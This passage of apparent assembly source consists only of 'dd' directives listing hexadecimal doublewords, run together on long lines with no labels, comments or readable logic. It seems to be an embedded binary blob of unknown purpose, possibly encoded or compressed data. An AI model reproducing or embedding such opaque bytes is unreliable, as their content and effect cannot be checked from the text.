6492074Fh, 0C7215400h, 896FD2FFh, 269000ACh, 2481F505h dd 7F00EA80h, 0F7C2AF82h, 0FAEFC9F8h, 5EFF0FC8h, 0A43E0ABh dd 47B00270h, 9005821h, 6AF8E2E9h, 1616851Fh, 1553C08h dd 0F2064369h, 0A5EEE012h, 0C9032707h, 0C00687Dh, 0B0F3EC80h dd 6750022h, 12F3AF8h, 0F0085D7h, 31222F4h, 5CC3FD3Bh dd 391C4A1Dh, 24CE4043h, 2DD8E83Dh, 3D12EA26h, 47AF4907h dd 0F1AE0260h, 0C8040054h, 22289121h, 3A00442Fh, 30488A58h dd 0EA1B8Bh, 3607A133h, 7D162CF1h, 7BEA03FAh, 0B215200h dd 88F0C464h, 5E4789Dh, 0B1CF71B8h, 8E49C097h, 20009DBh dd 8078BEFCh, 424412h, 0FE79B7E4h, 387450DAh, 1353126h dd 9992803Bh, 0C2D4717Eh, 24DD005Bh, 0EBAE3BA0h, 41002CC4h dd 823CB988h, 5C89CC29h, 63000A65h, 0F3E7B0FAh, 680035A4h dd 0A2AEB5DCh, 0D15ED4h, 8C38600Bh, 56C3E850h, 8600C1E8h dd 13B9E089h, 8B5B80h, 0FBC28110h, 0A104D614h, 3BDBDF38h dd 774900D2h, 0E035FFEEh, 40655C4Bh, 45A4AF00h, 0E989619Ah dd 5A046800h, 0AB505D28h, 87920758h, 872449A6h, 86B25134h dd 3C71F02Bh, 7B184D07h, 0C11078A4h, 1D1CCC66h, 143EF8h dd 4ED70889h, 83006C64h, 2F22098h, 112FC53h, 1C2693F4h dd 0F4E7AA85h, 73013B1Fh, 8819826Dh, 0C6C81413h, 0C8AB00F7h dd 584A4363h, 0B01F68EEh, 0CC808732h, 6238788Dh, 0E346074Bh dd 0CFAB1875h, 4E405861h, 69C9C8CBh, 3E6A5F00h, 2437C48h dd 18271E99h, 82007C55h, 6132A98h, 4000D7FFh, 8CC3FE11h dd 0AD0343h, 0F8A83D16h, 2105472Bh, 7EA65400h, 0E90DE790h dd 5CC4002Ch, 5219BCDAh, 4A00C0EFh, 3684CAFh, 24A4A0h dd 0C2E8D649h, 28B40743h, 0DD12B501h, 45B85061h, 0E9641E0h dd 8AC2379Ah, 0D305A6A1h, 7048FDCAh, 0F0324C3h, 4AC894F7h dd 8810DB7Fh, 0F0FD5F9Fh, 49D00F65h, 0A9230814h, 1C0408Ah dd 0F076034Eh, 93382B00h, 0B513E67Dh, 1FCD7C82h, 9F3D81F8h dd 1C80FA2Ch, 7A6E883h, 24E279FAh, 32756600h, 4F84D74Eh dd 0FFD50097h, 0B4EA3CC4h, 45003417h, 52442168h, 313E065Bh dd 4A7854C1h, 0FD2CC3Ah, 0A69C8500h, 0DB9A52A7h, 0FCE200D9h dd 4BA14634h, 2600EB54h, 0C32BA24h, 0EECC0850h, 0F1B207DCh dd 9464594Fh, 60098010h, 23A8FCBh, 0A1F800A8h, 68672029h dd 4FC62C28h, 0A9AA01ECh, 0F089D7CCh, 0CF00440Ah, 0B7DC16CEh dd 8A0E34h, 9A5C217Bh, 74D017D3h, 8206A101h, 0C087E56Ch dd 0D8C7D8h, 52B1D1ECh, 0E9C34005h, 5300257Ch, 4B22ABC2h dd 17E7524h, 5A32894Eh, 0E8D0E419h, 297F27A3h, 6AB2F600h dd 0A6CA5EA7h, 0F4AA0004h, 0BBB06DAFh, 0FA004B79h, 0DC4F34FDh dd 0FB577D5h, 1DC0CC57h, 41C26CEFh, 5FC04DC2h, 83009872h dd 62C6B0CAh, 3319AFh, 0E8C7042Ah, 0D40D5AB8h, 8074FF3Dh dd 5710DA60h, 0F883B903h, 68D00D8h, 8614FD95h, 3500BBD2h dd 311D892Bh, 2541B9h, 745106A3h, 4E525B03h, 0B293D200h dd 1A8F73E8h, 0D75313DDh, 699C00BFh, 0CD65C26Dh, 0F4853B00h dd 9149C48Dh, 30E860h, 739EB292h, 786E7DCBh, 0FAE87000h dd 9718B059h, 0F47B1EC1h, 83BD872Fh, 4840F18Dh, 0E4ED600Dh dd 0A35C1403h, 0B988A916h, 56309363h, 0D6970012h, 106A6132h dd 607C7DB9h, 86901C00h, 89B2EC5h, 0DF81014Ah, 89A1919Eh dd 0CC7AE0D3h, 220A5360h, 11C3E7h, 31642F0h, 41EC1215h dd 0C76A2300h, 0B4DA468Ch, 17C00019h, 744A423Ah, 800A80Bh dd 3E4C754Bh, 3D9B73h, 5D4E8CADh, 0C519EC6Eh, 24145A00h dd 0A694C125h, 83E002h, 0DC97FC6Dh, 51702CC3h, 69AF000h dd 0DE813EF4h, 1DE90002h, 29508E25h, 6F00754Fh, 94526796h dd 3809BD69h, 0A400EA2Fh, 0D87C0782h, 8039E9C4h, 74B0097Dh dd 4D560021h, 92DB91h, 32EC8F8h, 1150C329h, 5F67440Fh dd 5D012005h, 3DD5C7h, 260DDAE6h, 824998F5h, 8774A01h dd 0D4637550h, 0C8D01871h, 1906002Bh, 0E7BCEAC6h, 55006F4Bh dd 53705B86h, 51F06Bh, 0ABC85E75h, 0D8E5A9B8h, 8500D177h dd 4CF2DCEAh, 897458h, 0FC66EBD4h, 5D719052h, 85AC8000h dd 6A2EC922h, 4BEE1C55h, 101E7ED5h, 2BAEC051h, 3C0FDF0h dd 689F300h, 4C418CAFh, 42670075h, 3399CB1Fh, 0C438C2EFh dd 3114804Ah, 5E044669h, 4E581E6Ch, 907D8025h, 0B4FE2F0Bh dd 1A45DA00h, 4293C9CDh, 56290098h, 7C58C399h, 2E00905Ah dd 7B05F569h, 0E4246EBh, 27754D6Fh, 0D5B00017h, 0A14A858Dh dd 17EBF801h, 9A92FEB3h, 77A3D9D8h, 0AB4B0367h, 94327866h dd 0EED5C490h, 0E8194200h, 0C9C7933Ch, 75480FCEh, 0F8E0C6ACh dd 94D12E7Dh, 2DE18100h, 0AC13B27h, 0CA033D02h, 89080700h dd 1E907519h, 0C2D37D00h, 20449DBEh, 95C11D05h, 8BD0CEA3h dd 6109C380h, 0CC00C481h, 0F7F0167Fh, 3AA9D40Ch, 0DCA5D006h dd 0E41480D7h, 392EE091h, 0E6802466h, 0DFB94B39h, 1F005B82h dd 45C63842h, 0C4F964h, 83028485h, 60D78A89h, 0FE508200h dd 3C70228Bh, 0E754009Dh dd 0F0EACE64h, 530075DBh, 0CC88FF17h, 7E38E9E2h, 5E070C5Ah dd 0B6A28304h, 0DE171303h, 0F178FF10h, 2660660Bh, 0B0F00Ch dd 25FA453Bh, 5CF00D74h, 406C21Fh, 21A9DAC0h, 168BDFh dd 50176655h, 19458940h, 0B70FF200h, 33310308h, 0E94300CCh dd 3A3B0A60h, 741E3546h, 36000E67h, 261F0954h, 0A03F0095h dd 4F665001h, 0B008102h, 0A6F2B752h, 3032FA53h, 755E0D45h dd 0A9076241h, 2AD8A2B9h, 64178ED0h, 1F20047h, 4EEC8238h dd 270134F3h, 5DC04A8Fh, 1BCD2E6Bh, 1D99DCh, 0EDA5FA29h dd 0FBBB6001h, 2481660Bh, 1980FF7Dh, 258A2976h, 0A00074F6h dd 530DE1FFh, 6731579Ch, 50F248D9h, 45B398Eh, 1CF4E83Bh dd 6A80803Fh, 4E268D0Ah, 4F740008h, 0ED8C03E7h, 7D00E91Eh dd 3C51AEE0h, 0F1250F6h, 23AB4056h, 9F53D20h, 0FC0101EAh dd 22FEC9B3h, 0BE88565h, 3AFF450h, 7FF64269h, 20E70E32h dd 3C65BE58h, 0E7215317h, 0DD121FFFh, 45CF0011h, 13BE0E62h dd 0B0D47100h, 8C9D4792h, 3CA4070Ch, 5090A303h, 83D5ECBDh dd 0AC68501h, 52C77853h, 0F854ECh, 50908603h, 4D07E924h dd 83376400h, 8A84AD2Ah, 91480543h, 0C09B124Ah, 30413201h dd 0A8FEA973h, 42BAB800h, 15730ADCh, 0C93D0045h, 0DA4B5A1Ch dd 57004D82h, 3C47E194h, 0CFDC21h, 44D88871h, 0EE39FEC7h dd 1AE04A30h, 0C55E9h, 9348949Bh, 0B681D291h, 75393Eh dd 0AA51F527h, 4F42EDh, 0E31224A6h, 0F687477Ch, 10939504h dd 7C8014BFh, 740A25Ah, 0E802F49Dh, 0F5687791h, 0F856C0DBh dd 0D31C25FEh, 28DF582Ah, 89F20380h, 2CE4542h, 5C261CC0h dd 405D217Eh, 183CDC18h, 10352350h, 5F00C212h, 0A18FC32h dd 60C48554h, 0D031C4D4h, 873C7E1Bh, 4DAF8190h, 0EE41058h dd 121760E4h, 0BD90ABCh, 0B68F0882h, 3740EBA0h, 523FD655h dd 344380A5h, 0FC570DDBh, 867F00A8h, 104512B5h, 0CC03FA91h dd 0CA73B817h, 6BE000E2h, 1182DE4Ah, 55001F62h, 0A48A3E19h dd 13399Fh, 0B2EBFB54h, 9CB8C26Ch, 81D40938h, 2978064Fh dd 58619E11h, 0F3AFC8h, 0F7DC2074h, 4CFDE002h, 54112300h dd 83D24222h, 0D44800C1h, 0C925A7F2h, 0E2021975h, 74A47F72h dd 8EC7E0FBh, 71F70EB4h, 85E02CF0h, 0E387831Ch, 500002F2h dd 0FA16E98Ah, 3F930BD1h, 851F8DC3h, 4B14032h, 0A83A1029h dd 0A27D3Bh, 631277Eh, 3C432Bh, 530C63A1h, 5D93CA24h, 0E01F1FE4h dd 0FE3BF8h, 0B2830F28h, 308D8Bh, 0E81E4053h, 6B3C1219h dd 1876B3F6h, 4F07F400h, 8A05C283h, 5F3203F5h, 0FFFA9629h dd 8625DFB0h, 6A0033FAh, 0F1450B0h, 189F87h, 6F22832Dh dd 5940EFF7h, 0BC895407h, 0FAB04975h, 0D1C680h, 83740567h dd 724FBA68h, 0F021D605h, 0F780753Bh, 488063h, 74182D7Bh dd 0C69F3F3Ch, 8A424B00h, 0D241652Ah, 478100EFh, 17C5625h dd 6800625Bh, 12F03918h, 1DBDDA1Ch, 0C07FC9A0h, 564767B6h dd 6A4CFE15h, 340015Bh, 9EC75281h, 772F9CCCh, 0BE053E86h dd 44CA5900h, 8475F8A7h, 0FC1C400Bh, 0DF3A0953h, 142B080h dd 743CC23Bh, 226C000Ah, 0F4CF286Eh, 4DE9009Fh, 254013A9h dd 743AE448h, 0F74A829Dh, 60553899h, 0EB75949h, 611DE1ABh dd 51889A38h, 790B6603h, 0C88FC743h, 714A610h, 3758E1A5h dd 0E4069159h, 8EBD4092h, 4D786599h, 0EA058DECh, 0B8E0A02Fh dd 0F08B67C3h, 1B49B7Dh, 5D3EEBC2h, 21E6AD71h, 0CB9A60CBh dd 0DBC04D00h, 7C2FBADCh, 63760022h, 5D50EA53h, 691FC973h dd 5B1FFC96h, 97B89880h, 1F86D71h, 679D18C2h, 0E0E22D24h dd 7C7F1CD7h, 0ADD45C04h, 4980CDD8h, 74F45969h, 0A5270379h dd 8867DD25h, 12D865ABh, 5513B2ECh, 20B8D0E5h, 1797EA00h dd 0F8A53D23h, 15286728h, 0CCB3DF01h, 484666C4h, 2F55DCh dd 99C76806h, 0AB6E1597h, 54B34B33h, 89DDD8CBh, 0A36800CFh dd 0DA90E805h, 0B001E2Dh, 71D3A009h, 78F25274h, 12FEB4h dd 0E15AE659h, 708EC6Bh, 0C71C6300h, 0BF0244F6h, 0C57284h dd 0E28CB895h, 573FC9E4h, 13B07E00h, 1541FF4Dh, 7B3C0040h dd 273B9591h, 7800CB69h, 7EFDDA92h, 90C916h, 0D302D088h dd 49F3D69Dh, 18000574h, 955B1C36h, 24588496h, 28FFF01h dd 4E1E2B2Eh, 0C1574740h, 2894200h, 598CF986h, 3FFCFAh dd 78C89F0Ah, 9A4D1025h, 0FD45140h, 53B05297h, 4009EB60h dd 3500DE2Ah, 8CEEF992h, 1F5888FDh, 43A63C24h, 2149B11h dd 0D15298D0h, 8034F03Bh, 0B948A2FFh, 0FFC097Bh, 0E946DADCh dd 4D000D3h, 0D840FD2h, 39EE0200h, 28ECC336h, 768390F6h dd 0A350008Fh, 1466D4E2h, 3A00D845h, 0DB138D16h, 39A53EBh dd 0BBD3FBACh, 7BE0B603h, 3C00E340h, 0AB866711h, 0E27D049h dd 0CF467107h, 801DE800h, 4D7F0326h, 59C11700h, 62478CD5h dd 3CD91DB6h, 58CE45D2h, 6F2A8066h, 103BBF86h, 233EAC45h dd 4B074703h, 0B4C7E825h, 8230014h, 0A9A1F9CFh, 70F50212h dd 2B2C1CBAh, 881D3706h, 1BAC2040h, 0E3D01h, 265A366Bh dd 0BF4D50EDh, 0A1CD1C00h, 0A094C3C9h, 453055Dh, 0E1D79C4Ch dd 333E818h, 0A4140800h, 0C415BB86h, 582BF01Dh, 5003835Dh dd 78AD0364h, 0DEB014EBh, 0F1071EA8h, 1832825Eh, 0C04B050h dd 4C9F05D3h, 80DE7E75h, 83E9D5BEh, 3A1D7B77h, 308F03C9h dd 9D14020h, 14266Ah, 48A0AC52h, 2C82B718h, 663DFB98h dd 8A98009Dh, 0C321C954h, 2B8E2699h, 71780158h, 0C4453561h dd 0AD001238h, 14EB7F33h, 0B2C4396h, 2F847D18h, 90DDC980h dd 324C826h, 3F17E3FBh, 0A1575A00h, 50CFFD2h, 83CD3B24h dd 87D30023h, 0F210D455h, 127D600h, 0B018C0F1h, 24C4070Eh dd 302814BDh, 40CB439h, 0B376871Dh, 0C884B900h, 17E902h dd 0A2DD47E8h, 7E82F0BCh, 0B143A300h, 0F37D08E2h, 0FA3D0364h dd 1EF2FF4Fh, 387FEDF8h, 81430400h, 0BFB31853h, 0BA0250A7h dd 1EE2003Ch, 93843042h, 0D05C20F4h, 40DE0052h, 2C34E4A1h dd 0BD8500F8h, 5938C843h, 7A000BFCh, 0C9535F84h, 2E8822h dd 0B8C10104h, 4E603F10h, 3437BF1Fh, 0C7E50A03h, 6575C8FCh dd 537D00FFh, 28521BC1h, 90011D45h, 74F685A5h, 55200F5Fh dd 8B391ED1h, 0E5803AEEh, 0FDC44BAFh, 0F202A6FBh, 3E642C25h dd 0E018425Ch, 68548Ch, 96F809A4h, 75FF9240h, 18492201h dd 8E9BF12Fh, 4320C121h, 0C6B055h, 0F4C5E987h, 422B610Ah dd 0E8408200h, 9A57A34Dh, 517D0332h, 0D444C960h, 0F77E88B0h dd 3F509600h, 225BA38h, 0A786007Bh, 6C8331C1h, 0F000CD71h dd 3624EB62h, 53FE04h, 0F7E88AFBh, 4B1E433Ah, 0A078756Fh dd 8CE2FF03h, 11D507FBh, 0E0DE9421h, 7EF0E599h, 84233200h dd 31D016A9h, 96544C9Eh, 4A210075h, 20622464h, 97EA433Ch dd 18850400h, 0B2557329h, 486A02F3h, 2BF0F449h, 35C5CBE0h dd 90A93700h, 93075DD3h, 2AE10010h, 5FEB5530h, 0BD008018h dd 2FD73B3Eh, 0E30D72h, 730E1F3Dh, 2ACAC106h, 81FEBECh dd 87C3F83Ah, 0E8E6E375h, 5E9F8Eh, 0DC102DC0h, 0F61CE881h dd 16442200h, 0BC88EFC3h, 7B92004Fh, 84FE2D2Ah, 0E60F5053h dd 0C04BAC4Dh, 29A1E0E8h, 89853F42h, 9CF58C81h, 0ECA83EF4h dd 0DDEADAC7h, 1CBC530Eh, 0EE4B609Bh, 0EE4692Ch, 5427D2A5h dd 89051360h, 12006BA4h, 3C9FFB5Bh, 1107053h, 88E22A11h dd 0D9182134h dd 4C0DD851h, 87493800h, 50A28C91h, 907515h, 8041FAD2h dd 406AF633h, 30FFE21Dh, 902D7580h, 0F66070Bh, 5A4D3881h dd 78832400h, 7400E03Ch, 82801E4Bh, 768F303h, 5615FC99h dd 8108A023h, 4500503Eh, 27414C6h, 38F6B572h, 3CF069FCh dd 24006AF0h, 0EB4EBB28h, 0FE744A5Dh, 1A83121Ch, 5F1F0240h dd 90136574h, 72D9008Dh, 841464DBh, 0EB730C62h, 7839F602h dd 6031B849h, 5021F8FCh, 79E7C53Fh, 34BA3E46h, 91005FD8h dd 525AB774h, 0D5002367h, 8E037F86h, 5C16EB3Ch, 0DA00CB77h dd 0C8D0D73h, 0D103DD33h, 7B84CF21h, 9C963B04h, 0E490E58Bh dd 0C4C5700h, 0BE006C5Bh, 4EC426A3h, 265EA10h, 0D08FABBCh dd 0AA406982h, 900F4916h, 770A120h, 6B77880Ah, 0C689AC90h dd 31FC020Eh, 0CACF49C9h, 0B2C09740h, 0C87030FCh, 19E98800h dd 0B6F28AF1h, 66182708h, 784BA077h, 89351209h, 440E0C34h dd 0DA1C4275h, 9B803E80h, 0D2F75BD3h, 25D100E4h, 57AD089h dd 0B928C8ECh, 4B00C4B7h, 72D54442h, 6B0EBh, 2ECBE1F3h dd 16867799h, 0B4C30330h, 5F547Dh, 50B9B3A7h, 33135CEAh dd 0AF530100h, 58AE9E35h, 28680FA0h, 5C60B55Fh, 50895294h dd 59B18500h, 8A0BD123h, 0D8800002h, 0A126758h, 42F05F2Eh dd 0F0754905h, 0B7ECA1B0h, 92BDC00h, 0F35D5AF9h, 79A55401h dd 0E5957458h, 29FD7280h, 5BC85614h, 0D7FCD200h, 9857701Ah dd 78402E4Ch, 6040729h, 0F44AF0A3h, 0BF00FE41h, 1D17BD82h dd 0E6E3E80Bh, 2585002Dh, 0C65A4F78h, 733F61B2h, 1B770019h dd 0AE933B3Ah, 591A2675h, 0BA8100DDh, 3021C2Fh, 86EFD81Dh dd 54971100h, 3C3969Bh, 8A0A9BCh, 0D1D848EBh, 2A383988h dd 16E6F91Bh, 52432D00h, 0E923BCC7h, 20B8F2h, 18583BBDh dd 2F73820Fh, 4F93B200h, 22C43DAAh, 591004F0h, 8394E22Dh dd 51B360E9h, 0D5B80CB0h, 0B9013100h, 0D75C2042h, 0B871E645h dd 13F270B5h, 173EFE08h, 272F0039h, 0BAF7E07Eh, 893055FEh dd 80093AF4h, 0B72009F1h, 0C58302F9h, 0FFE8B204h, 0CD9E567Ch dd 6A513800h, 9A9C73h, 95880813h, 977CB85Ah, 0C5BBF400h dd 1561EA0Ah, 0F1100003h, 4912510Dh, 0A4581D0Eh, 802C3F8Ah dd 5E077562h, 0F8CA28h, 48EFE842h, 0A0E0FF96h, 65E4C800h dd 0DFBCBA95h, 7C60000Bh, 44AE545Fh, 0AD7BE093h, 6972000h dd 1A2643C6h, 4EB0001h, 7893DD0Dh, 540022CCh, 2C085011h dd 1E6D799Fh, 4057F12Dh, 730989F0h, 4600C630h, 0F34E8DD6h dd 0DE8CADh, 258B5967h, 0CBEFB91h, 5021C607h, 28F0B256h dd 0FEADB5DDh, 76D0FB59h, 30D11E20h, 0D5C5876Bh, 751C5081h dd 1EC339CFh, 80B1D62Bh, 0FD9B7Eh, 10E87349h, 1EBB92D4h dd 6328100h, 8E004E4h, 0D81F00DCh, 0A8F355D3h, 0C4003121h dd 0D6BDAEFBh, 9820A9Ah, 5FFE65CBh, 4F1A180h, 5802EA81h dd 0B3542F78h, 2ADDE0C4h, 0F5C20216h, 5F2664A2h, 8A9360E0h dd 831E4712h, 18446700h, 2E6689F7h, 30FC27Fh, 0A4504824h dd 0C9F858E0h, 6205D00h, 75894EF0h, 0F64A05BCh, 0C0762CB4h dd 0C7B3466Dh, 9D0F5000h, 1F2F2D82h, 5A901E55h, 0EA484097h dd 0CE223746h, 750058F4h, 196577EEh, 514B011h, 3B398285h dd 0B0AF8718h, 45807534h, 1AC5EC00h, 0EBE0176h, 0CA020061h dd 0D9A4AF06h, 0FE730D13h, 0C7958600h, 0AD775304h, 5F8B00AEh dd 0FB7D80C2h, 0CDEE88F0h, 2F008D7Bh, 0C715C663h, 0B86F110Dh dd 0E4101201h, 0BCFA0282h, 7E609D2Ah, 0DA0333EAh, 7468C075h dd 0C03FB331h, 35817A9h, 3E7995CEh, 1CE07567h, 0F35EE26Fh dd 0DC00F5A8h, 5114F669h, 4800B7DFh, 268DD83Bh, 7A011A1h dd 0AF07BA12h, 0D4F17174h, 7D85E454h, 5C38591Eh, 0CAF23F00h dd 1E74032Dh, 8562CCD6h, 0C09118AAh, 645A0A94h, 3EC510Bh dd 454500B5h, 1E05BAD4h, 5077D2Eh, 0FEAA81C4h, 0C0FD2FC2h dd 0E3AE87h, 0CAB541Ch, 6238FE95h, 0A032D32Eh, 0FF22B400h dd 0EE7384h, 0B0109C72h, 4BE7E968h, 8D2B60FBh, 91DD9500h dd 8C2E63E1h, 931313F0h, 420F003Fh, 0A6B1EB70h, 0E7772200h dd 0C75F4086h, 2C835C90h, 0C049F21Fh, 6A138C23h, 0B500F4EBh dd 7385DB51h, 16BA0221h, 0CAB4F2h, 53222A75h, 0D800720Dh dd 52C38A1Ah, 72865E01h, 0A76900E9h, 80D7B021h, 334CCD38h dd 401100B1h, 742E120Ah, 94D80066h, 0E0F42201h, 1700FFFAh dd 0C01D7525h, 0F467FE50h, 837713h, 0B2C9BF02h, 0B152535Ah dd 8AB32100h, 80C1B75h, 64560797h, 0E0D3220Fh, 9E060DC9h dd 5CE22B00h, 982D14E5h, 743300E9h, 4F9F6828h, 5EF6FB42h dd 0AA195507h, 3FAF18CBh, 463264C1h, 29EC4B35h, 0F17B00ECh dd 8BA1A490h, 82039F1Ah, 2717677Dh, 7F319177h, 2E7142F8h dd 0A07BEh, 66A01D8Bh, 79003064h, 0F6035FF8h, 7AA1C6B8h dd 5C97009Ch, 0D82E53A3h, 4D0B5BD0h, 0A94210h, 4A445A6Ch dd 9BBA1DCDh, 0CBA600C3h, 0FAE6C47Fh, 2FFB9E03h, 0E01A57FCh dd 293865h, 0D8DB3BA7h, 345D36E3h, 6C12A5EEh, 0BBF49Bh dd 6A0FE00Eh, 0EBEC9D01h, 1A0A9900h, 0ABC48688h, 6753A29h dd 0A1BD9000h, 0CAA73D68h, 0A8155D01h, 0B2BBFB92h, 0EAD7C0h dd 994AD02Dh, 0A436A010h, 763E8800h, 7D540AFDh, 385F00BAh dd 0B805D5E7h, 0EFA058CCh, 1CE2158Ch, 2CDF8900h, 0B50ED494h dd 0B0930383h, 0F0B86D5Ah, 2B89EFB0h, 59F46A00h, 0E20E53F8h dd 0EC480022h, 63C5035h, 0CE0FA63Dh, 0A0A11328h, 0A03EBC96h dd 0FCA4001Ch, 60C40647h, 0F24C3468h, 7890326h, 0C0BBFD85h dd 0BC5C58h, 0C275F803h, 0D35BC068h, 0DF29BF00h, 669CDC88h dd 7CCF842h, 6C4617B6h, 0A034B021h, 64394C9Eh, 0EC62003Ch dd 0D5F8101Fh, 27973A4Eh, 0F0F47AFFh, 48EE0Dh, 0EF38DB79h dd 0E552EE19h, 8F02333Dh, 0E1644414h, 4CE36837h, 13AEDCCh dd 54203D61h, 0F8430C7Fh, 8FA34B1h, 0C422B900h, 0B32BAB2Dh dd 0BB580012h, 0D6154E25h, 1D7F943Bh, 49792AC0h, 72656B3Ah dd 5E3C2466h, 36B401F3h, 302CD94Eh, 19074246h, 82EB9A90h dd 2A230360h, 584507B6h, 0B301B7AAh, 1EE83724h, 62126A99h dd 0B90136A7h, 4B03A045h, 4E52D0h, 7CF04C9Ah, 9ED4475h dd 0A954F513h, 419ED900h, 1CCA56DCh, 0C01C4950h, 745F6547h dd 0FCF161EDh, 7A037B64h, 20C37371h, 0BF69D852h, 78450091h dd 66DDF663h, 4CFCA0D3h, 73007CFCh, 4518F99Dh, 0F0106D53h dd 31880024h, 0C9028B62h, 3B00082Dh, 0DDD6F8E1h, 0AD8D79h dd 28FCD489h, 9C3A7D72h, 572EEA00h, 86CA3E62h, 0C9113EF4h dd 0EFE20683h, 26B05C78h, 5812753Dh, 9E008415h, 0C74A8B28h dd 11E21E3Ah, 0E8C000A5h, 0C4EAEF27h, 0D22E4F00h, 2071740Ah dd 7D7E02h, 0F9EEE7E0h, 453DB664h, 0C42A0800h, 0CBC70D14h dd 439E00D6h, 3F816605h, 0FD0025FFh, 26E83DD2h, 1C6CEFh dd 1E389507h, 0AA2769C4h, 0A6D6241Dh, 0E0E85A8Fh, 0EE3AE1B5h dd 91670053h, 0C64E3E10h, 3F034F55h, 4B7AD2B1h, 0D875CBC9h dd 0C3FA50h, 6F0032Ah, 26F3F85Bh, 80CE103Bh, 52E22C92h dd 0A46DA7h, 0B3446BEFh, 0C308BB43h, 0CA535026h, 0F53B1700h dd 0E68B828h, 0D2395411h, 89782B40h, 6A000AC8h, 0A7B052B2h dd 7CA10974h, 0EAD1F4CEh, 713800EBh, 0BD5EBFAAh, 9007D0Eh dd 5478D68h, 0FE63ECE2h, 0D52C0378h, 0A06171Dh, 0C20146F0h dd 6900E8ECh, 1505ED39h dd 0FE388934h, 65C31FBDh, 6581E542h, 0E0A00E6Eh, 2B00DE8Bh dd 81E41C5Dh, 714FBh, 646885BDh, 162F8629h, 8AEAAC00h dd 0E455121Ch, 4A4800F7h, 278358E0h, 2B3B04EBh, 5F9E9F68h dd 7D19F3C0h, 0F05497h, 0B4517F52h, 38783644h, 324638h dd 33D08B56h, 0FEBF6h, 80068A7Dh, 5742FF9h, 5C5F0A00h dd 42F29007h, 0F3A00D7h, 0ABD0EC09h, 0A6000354h, 0FCC34A5Eh dd 7C75F7F0h, 17E51753h, 42470030h, 0B8A0D73Ah, 0DF822900h dd 0FCE488D1h, 7E3700BEh, 95EB1C7Bh, 177892F7h, 0DA19A10Fh dd 3CA900EDh, 0FD3E8Bh, 9A708845h, 0C94F943Ah, 1241520Eh dd 0F4538024h, 284ADCh, 6389E2C1h, 3C7B8E5Dh, 3B7CE800h dd 5C033A78h, 1D1C003Fh, 40F61304h, 5F0B148Fh, 34A5A5Bh dd 0F16886E4h, 6520C13Bh, 0F0A61C8Ch, 209FBD8Eh, 0D9B5001Ch dd 301BAD96h, 0BE95D500h, 4A4D8EBFh, 687F3F73h, 0C49D5100h dd 45EB3E70h, 34A97D0Eh, 35C07EE4h, 2147D3BDh, 506F00E0h dd 2F58107Ah, 93F8B702h, 0FEE96E05h, 0CB010FFFh, 0C231A26Ah dd 0C0428820h, 2E06BA34h, 0EEFF23A3h, 0E59BC05Fh, 0F8DC00BBh dd 0BF94B054h, 5B0263D0h, 78DFE964h, 322861ACh, 1331803Bh dd 0EFFC6C75h, 625C2300h, 0FDFB447Ah, 0BEE70361h, 0BB4EDF1Eh dd 792C63F8h, 0F86D5E1Dh, 202ED980h, 0F72A6Bh, 4C7D62AEh dd 7986E34Fh, 6DDCE03h, 0D8ACF63Ch, 641A53h, 0B38D702Eh dd 14B67582h, 52509F07h, 0FBC15DCFh, 0B9EC4E78h, 0F88400F0h dd 6BB453FEh, 74039714h, 0FABD0DA7h, 48C2F81Fh, 0E8830002h dd 30B83AA2h, 202C264Bh, 0B501D512h, 762C4306h, 0F00A89D0h dd 0EF6D099Bh, 0D88029FEh, 66C78B3Fh, 547E9AFCh, 0A9165Ch dd 55FC4492h, 51930Fh, 0CF10B22h, 16F8678Bh, 0CFBE7503h dd 0B0381ACEh, 0C0103Ah, 0FE124B1Ch, 74C9DD6h, 7D00ADB0h dd 0CB51ACFCh, 972F10h, 4F022944h, 7E12A90Ch, 8F0B870Fh dd 31F9802Dh, 1CE3543h, 9422274h, 0D9192436h, 0E910D137h dd 1C85E83Ah, 83B8B73Eh, 8CEC7DC2h, 33C0EFA5h, 0EF57519h dd 4D88982Bh, 8669680h, 553D4126h, 0EB3B9C4Bh, 39F98443h dd 8AEA0715h, 70F8AB27h, 4B8296ACh, 4A337C00h, 0F2F5EB8h dd 51760084h, 38F1DFABh, 413FAF98h, 2CB9C7h, 951DAC9Ch dd 0E106097h, 5EFF483Bh, 8D1C3040h, 0DF7A0853h, 0C1E1500h dd 0ABF656Eh, 4A4B00EBh, 42203911h, 0E526695Bh, 0C80001C9h dd 0F32D91Bh, 79E005Ch, 830E731Eh, 8D3E0401h, 0B490F485h dd 8074F83Fh, 0DC8265BEh, 0EDB71069h, 774BC0h, 155C81Eh dd 0CBD52EC9h, 0A2F91600h, 64146E09h, 7507846h, 70965534h dd 0C6B75160h, 3ED7F092h, 0FCFC73Fh, 61E9E0E5h, 6C79FE9Fh dd 1FC5E2C4h, 0C0146A43h, 0E958C08Fh, 1CB82EF1h, 5C087D00h dd 3F840ADh, 0B93500B4h, 0EF8B0689h, 0A5EE795Dh, 4B437000h dd 460307C0h, 0C3E0048h, 0F02B0A33h, 0E800244Ch, 592556AFh dd 12EB007h, 0C8471F8Ah, 0E44E4034h, 49004423h, 16051F2h dd 71EBB1h, 37195E3Ah, 2A41775h, 50A08900h, 2ACAD555h dd 7F230F40h, 0CF40D82Bh, 38C852EBh, 907C3903h, 0BF366425h dd 1A296A80h, 185FE17h, 72F107A6h, 0D08E924Dh, 0EB007534h dd 0D04AD58Bh, 20BA61h, 0E36E9E65h, 408D85E1h, 80CFAA00h dd 423F3908h, 3A980F59h, 0FCBDE03Ch, 1B1FA2BCh, 0C8D6ADB2h dd 8A904E07h, 0C03EE6F0h, 82060050h, 12AEF392h, 0BFFE0156h dd 30FB6C00h, 2F144184h, 4C453E06h, 0FA950072h, 0C3F43CE9h dd 3A00EEDBh, 100821FCh, 75188A74h, 931C0205h, 9BE842BBh dd 40F59061h, 59C474DFh, 13305F1Fh, 0F8E895DEh, 0D9008275h dd 202ABF22h, 7AED0Eh, 59D474BDh, 1C9AAAD7h, 5424D207h dd 0F5407F82h, 7995ECB4h, 0FC21771h, 20860F76h, 9FAB7200h dd 0DC5EE051h, 0EEF1B5F1h, 857C0A80h, 4190B138h, 89B62B00h dd 276EAED2h, 8178B7h, 1DC2881Ah, 0F222287Dh, 0A84ACE00h dd 0FDBD11B9h, 0B80B004Bh, 0A443465Ch, 10009AABh, 0BC998EECh dd 0C7555Ah, 8870540Eh, 3C9EDF8Fh, 0FF72E300h, 5DADC815h dd 0F9340031h, 7F1CE17Eh, 7300E90Eh, 0ECED33A5h, 0FC0C8BA9h dd 5C490036h, 12401D4Dh, 0E00BCC7h, 590546A1h, 3D8F6F11h dd 7222DCh, 0AF202414h, 0E8DBF93Bh, 468CF50Ah, 0DF05FE52h 